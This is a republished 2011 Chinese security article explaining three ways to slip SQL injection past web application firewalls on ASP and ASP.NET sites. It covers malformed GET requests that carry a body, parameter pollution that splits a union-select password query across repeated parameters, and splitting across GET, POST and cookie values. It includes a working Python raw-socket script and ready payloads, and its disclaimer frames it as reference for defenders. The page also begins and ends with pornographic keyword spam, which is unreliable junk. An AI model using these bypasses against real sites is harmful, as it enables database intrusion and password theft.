成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

淺談繞過WAF的數(shù)種方法

安全
08年初誕生了一種SQL群注攻擊,黑客在全球范圍內(nèi)對asp,asp.net加MSSQL架構(gòu)的網(wǎng)站進行了瘋狂掃蕩。由于MSSQL支持多語句注入,黑客通過一條結(jié)合游標的SQL語句就能將整個數(shù)據(jù)庫的字段內(nèi)容自動進行篡改,可以在網(wǎng)站上無差別的進行網(wǎng)頁木馬攻擊。

0×00 前言

08年初誕生了一種SQL群注攻擊,黑客在全球范圍內(nèi)對asp,asp.net加MSSQL架構(gòu)的網(wǎng)站進行了瘋狂掃蕩。由于MSSQL支持多語句注入,黑客通過一條結(jié)合游標的SQL語句就能將整個數(shù)據(jù)庫的字段內(nèi)容自動進行篡改,可以在網(wǎng)站上無差別的進行網(wǎng)頁木馬攻擊。

互聯(lián)網(wǎng)是快速更新迭代的,但是很多沒有開發(fā)能力的單位都是通過外包建立網(wǎng)站,網(wǎng)站的程序一上線就再也無人維護,很多程序存在各種漏洞無法修補,于是WAF便有了市場,現(xiàn)今門檻低且最能解決問題的是針對IIS/apache的軟件WAF,通常一個模塊一個擴展就能搞定,當然也有耗資百萬千萬的硬件WAF,然而如果WAF攔截規(guī)則出現(xiàn)漏洞,這百萬千萬的硬件也就是一堆廢鐵。那么WAF是否真的可以解決所有的WEB安全問題呢?所以本文主要解析一些可以繞過WAF的罕見漏洞,供安全人員參考。

0×01 Request對象的包解析漏洞.

asp和asp.net的Request對象存在一個包解析漏洞,Request對象對于GET和POST包的解析過于寬松,用一句話表達就是Request對象它GET和POST傻傻分不清楚,稍有點web開發(fā)經(jīng)驗的同學應(yīng)該知道Request接收GET,POST,COOKIE也就是GPC傳過來的數(shù)據(jù),但是asp和.net庫內(nèi)置的Request對象完全不按RFC標準來,下面我們可以做個測試:

分別將下面兩段代碼保存為1.asp和1.aspx

使用asp的Request對象接收t參數(shù)傳值

———————————————–

 

  1. <%  
  2.  
  3. Response.Write “Request:” & Request(“t”)  
  4.  
  5. %>  
  6.  

 

———————————————–

使用asp.net的Request對象接收t參數(shù)傳值

———————————————–

 

  1. <%@ Page Language=”C#” %>  
  2.  
  3. <%  
  4.  
  5. string test = Request["t"];  
  6.  
  7. Response.Write(“Request:”+test);  
  8.  
  9. %>  
  10.  

 

———————————————–

使用下面的python腳本調(diào)用socket發(fā)送原始的HTTP包

———————————————–

 

  1. #!/usr/bin/env python  
  2.  
  3. import socket  
  4.  
  5. host = ’192.168.239.129′  
  6.  
  7. path = ‘/1.asp’  
  8.  
  9. port = 80 
  10.  
  11. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  12.  
  13. s.connect((host, port))  
  14.  
  15. s.settimeout(8)  
  16.  
  17. exploit_packet=”t=’/**/or/**/11=1–”  
  18.  
  19. exploit_packet+=”\r\n” * 8  
  20.  
  21. packet_length = len(exploit_packet)  
  22.  
  23. packet=’GET ‘ + path + ‘ HTTP/1.1\r\n’  
  24.  
  25. packet+=’Host: ‘ + host + ‘\r\n’  
  26.  
  27. packet+=’Content-Length: %s\r\n’ % packet_length  
  28.  
  29. packet+=’Content-Type: application/x-www-form-urlencoded\r\n’  
  30.  
  31. packet+=’\r\n’  
  32.  
  33. packetpacket = packet + exploit_packet  
  34.  
  35. print packet  
  36.  
  37. s.send(packet)  
  38.  
  39. buf = s.recv(1000)  
  40.  
  41. if buf: print buf[buf.rfind("\r\n"):]  
  42.  
  43. s.close()  
  44.  

 

———————————————–

我們發(fā)送的原始包是:

GET /1.asp HTTP/1.1

Host: 192.168.239.129

Content-Length: 34

Content-Type: application/x-www-form-urlencoded

t=’/**/or/**/1=1– 

結(jié)果返回如下:

Request:’/**/or/**/1=1–

將python測試腳本的path改為/1.aspx測試頁返回同樣結(jié)果。

我們可以看到這是一個畸形的HTTP GET請求包,這個包的奧秘在于t=’/**/or/**/1=1–參數(shù)后的8個回車換行和Content-Length頭,包的結(jié)構(gòu)類似于一個POST包,而請求的方法是GET,最后asp和asp.net的Request對象成功的解析了這個畸形包取出了數(shù)據(jù)。

所以如果WAF沒有處理好HTTP包的內(nèi)容,沿用常規(guī)思路處理GET和POST的邏輯的話,那么這個畸形包將會毀掉WAF的基礎(chǔ)防御。

0×02 被遺忘的復參攻擊.

大家應(yīng)該還記得09年的HTTP Parameter Pollution攻擊,查看[3]文檔,可以發(fā)現(xiàn)ASP/IIS和ASP.NET/IIS的場景下存在一個復參特性,本文將利用這種的特性的攻擊簡稱為復參攻擊,用0X01里的例子簡單的測試一下:

用GET請求傳入兩個t參數(shù)

GET http://192.168.239.129/1.asp?t=1&t=2

將返回

Request:1, 2

asp和asp.net的Request對象接收了兩個參數(shù),并且以逗號分隔,所以便衍生出了[3]文檔中的復參SQL注入方法:

 

  1. Vulnerable code:  
  2.  
  3. SQL=”select key from table where id=”+Request.QueryString(“id”)  
  4.  
  5. This request is successfully performed using the HPP technique:  
  6.  
  7. /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users  
  8.  
  9. The SQL request becomes:  
  10.  
  11. select key from table where id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/usersLavakumarKuppan,  
  12.  

 

我們可以看到通過巧妙的運用注釋符結(jié)合復參特性可以分割GET參數(shù)中的SQL注入語句,如果WAF對GET參數(shù)的處理過于簡單是不是會匹配不到攔截規(guī)則呢?

0×03 高級復參攻擊.

ASP.NET的Request對象有一個Params屬性,ASP.NET程序員在一些程序中會使用Request.Params["xxx"]傳入數(shù)據(jù),參考[4]微軟MSDN文檔我們可以知道Params屬性的特性,該屬性接收GET,POST和Cookie的傳值集合,這里我們可以修改0×01里的例子測試一下:

使用asp.net的Request.Params方法接收t參數(shù)傳值

———————————————–

 

  1. <%@ Page Language=”C#” %>  
  2.  
  3. <%  
  4.  
  5. string test = Request.Params["t"];  
  6.  
  7. Response.Write(“Request:”+test);  
  8.  
  9. %>  
  10.  

 

———————————————–

發(fā)送一個POST包,GET,POST,COOKIE三個方法中都帶有不同的t參數(shù)內(nèi)容

———————————————–

POST http://192.168.239.129/1.aspx?t=1 HTTP/1.1

Host: 192.168.239.129

Cookie: t=2

t=3

———————————————–

結(jié)果返回

Request:1,3,2

最后得出結(jié)論,Request.Params方法接收的數(shù)據(jù)是按照GPC順序整合,看到這里的同學再聯(lián)想到0×02的復參攻擊應(yīng)該如醍醐灌頂了,我們可以將SQL攻擊語句拆分到GET,POST,COOKIE三個變量里進行組合攻擊。想一想WAF針對這種高級復參攻擊是否防御好了?

0×04 后話

WAF是不可能解決所有安全問題的,本文的思路歸其本源實際上是描敘了WAF處理HTTP包與服務(wù)端處理HTTP包數(shù)種差異。互聯(lián)網(wǎng)是不斷更新迭代的,差異存在,類似的漏洞也會存在。

本文提到了三種繞過WAF的思路,第一種是我的原創(chuàng)屬于0DAY狀態(tài),第二種是參考已有的復參攻擊,其中第三種高級復參攻擊是由Safe3同學提出的,本文也是與Safe3同學討論他開發(fā)的WAF的BUG而來,所以感謝Safe3同學。

另外請大家不要將本文的內(nèi)容用于非法途徑,僅供安全人員參考,謝謝。

EMail: rayh4c#80sec.com

Site: http://www.80sec.com

Date: 2011-09-06

From: http://www.80sec.com/?p=244

 【編輯推薦】

  1. 如何選擇合適的Web應(yīng)用防火墻(WAF)?
  2. Web應(yīng)用程序防火墻(WAF)將無處不在
  3. Web Application Firewall(WAF)入門

 

責任編輯:于爽 來源: 80sec.com
相關(guān)推薦

2012-12-24 13:50:54

2019-02-19 08:45:41

2013-05-13 11:25:02

WAFWeb應(yīng)用防火墻WAF繞過

2013-06-03 10:02:53

WAF繞過

2013-01-11 16:23:29

2015-06-16 13:37:03

2020-07-31 11:02:09

網(wǎng)絡(luò)攻擊WAF黑客

2020-08-26 14:44:05

CDNIP子域名

2009-07-28 16:07:40

.NET圖片快速處理

2013-12-18 09:39:37

XSSWAF繞過

2022-08-03 12:28:58

云WAF網(wǎng)絡(luò)攻擊Web應(yīng)用防火墻

2017-03-03 09:10:09

2016-12-27 19:19:51

2009-04-20 14:29:41

Oracle連接創(chuàng)建連接

2019-05-07 08:15:21

2013-04-19 13:20:14

2023-10-09 08:32:57

GaussDBDRS數(shù)據(jù)庫

2017-09-01 21:00:05

MySQLSQL優(yōu)化查詢方法

2022-08-24 08:07:11

MyBatisSQLMySQL

2017-12-14 21:45:39

點贊
收藏

51CTO技術(shù)棧公眾號

主站蜘蛛池模板: 狠狠天天 | 日本网站免费观看 | 久久精品欧美电影 | 黄a在线播放 | 美日韩中文字幕 | 99国产精品99久久久久久 | 超碰成人免费 | 国产视频亚洲视频 | 成人免费视频久久 | 精品一区在线 | 97伦理| 久久综合久久综合久久 | 一区二区三区视频免费观看 | 激情欧美日韩一区二区 | 国产精品久久久久久亚洲调教 | www国产成人免费观看视频,深夜成人网 | 亚洲a在线视频 | 亚洲日本中文字幕在线 | 国产精品美女久久久久久免费 | 国内精品视频在线观看 | 国产精品福利一区二区三区 | 在线视频一区二区三区 | 国产精品av久久久久久久久久 | 国产一级大片 | 97超碰站| 免费一级欧美在线观看视频 | 成人在线不卡 | 亚洲视频在线看 | 伊人91在线 | 欧美韩一区二区三区 | 91精品国产综合久久久久久漫画 | 色橹橹欧美在线观看视频高清 | 亚洲精品68久久久一区 | 久久精品一区二区三区四区 | 日本不卡高清视频 | 久久久久久99 | 日本公妇乱淫xxxⅹ 国产在线不卡 | 精品一区二区三区四区在线 | 一级在线视频 | 精品久久国产 | 欧美日韩一区二区三区在线观看 |